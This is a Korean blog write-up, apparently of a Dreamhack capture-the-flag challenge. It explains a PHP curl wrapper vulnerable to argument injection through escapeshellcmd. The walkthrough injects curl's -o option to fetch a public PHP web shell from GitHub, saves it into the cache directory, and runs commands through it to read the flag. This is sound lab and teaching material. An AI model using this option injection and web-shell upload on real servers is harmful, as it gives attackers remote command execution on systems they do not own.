<html>
<head></head>
<link rel="stylesheet" href="/static/bulma.min.css" />
<body>
<div class="container card">
<div class="card-content">
<h1 class="title">Online Curl Request</h1>
<?php
if(isset($_GET['url'])){
$url = $_GET['url'];
if(strpos($url, 'http') !== 0 ){
die('http only !');
}else{
$result = shell_exec('curl '. escapeshellcmd($_GET['url']));
$cache_file = './cache/'.md5($url);
file_put_contents($cache_file, $result);
echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
echo '<pre>'. htmlentities($result) .'</pre>';
return;
}
}else{
?>
<form>
<div class="field">
<label class="label">URL</label>
<input class="input" type="text" placeholder="url" name="url" required>
</div>
<div class="control">
<input class="button is-success" type="submit" value="submit">
</div>
</form>
<?php
}
?>
</div>
</div>
</body>
</html>
url 파라미터에 입력값을 받고, http 문자열로 시작하는지 검사한다.
http 문자열이 포함되어 있다면 shell_exec 함수를 통해 curl 명령어를 실행한다.
url 파라미터 값이 인자로 전달되는데 escapeshellcmd 함수 때문에 셸 메타 문자를 사용할 수 없다.
curl 명령어의 -o옵션을 사용하면 파일을 생성할 수 있다.
cache 디렉터리에 쓰기 권한이 있기 때문에 cache 디렉터리에 파일을 생성하고 접속해볼 수 있다.
우선 -h 옵션으로 옵션 삽입이 가능한지 확인해볼 수 있다.
http문자열로 시작해야 하기 때문에 httptest -h 를 입력하면
이렇게 정상적으로 작동한다.
이제 -o 옵션으로 웹 셸 코드를 cache 디렉터리 안에 올려야 한다.
우선 파일을 생성하기 위해 http://localhost/ -o /var/www/html/cache/test 를 입력한다.
이제 웹 셸을 업로드하기 위해 Github에 공개된 웹 셸 링크를 이용할 것이다.
https://github.com/WhiteWinterWolf/wwwolf-php-webshell
이 링크에 접속해보면 웹 셸 코드가 있다.
https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php -o ./cache/exploit.php
이제 웹 셸을 cache 디렉터리에 업로드해준다.
그리고 /cache/exploit.php에 접속해보면 셸이 있다.
cmd에 실행하고 싶은 명령어를 넣으면 된다.
/flag를 입력하면 flag가 읽혀져서 보인다.
'웹해킹' 카테고리의 다른 글
드림핵 Apache htaccess 롸업 (0) | 2023.12.03 |
---|---|
File Vulnerability Advanced (0) | 2023.12.03 |
Command Injection Advanced (0) | 2023.12.03 |
드림핵 phpMyRedis 롸업 (0) | 2023.12.03 |
드림핵 NoSQL-CouchDB 롸업 (0) | 2023.12.03 |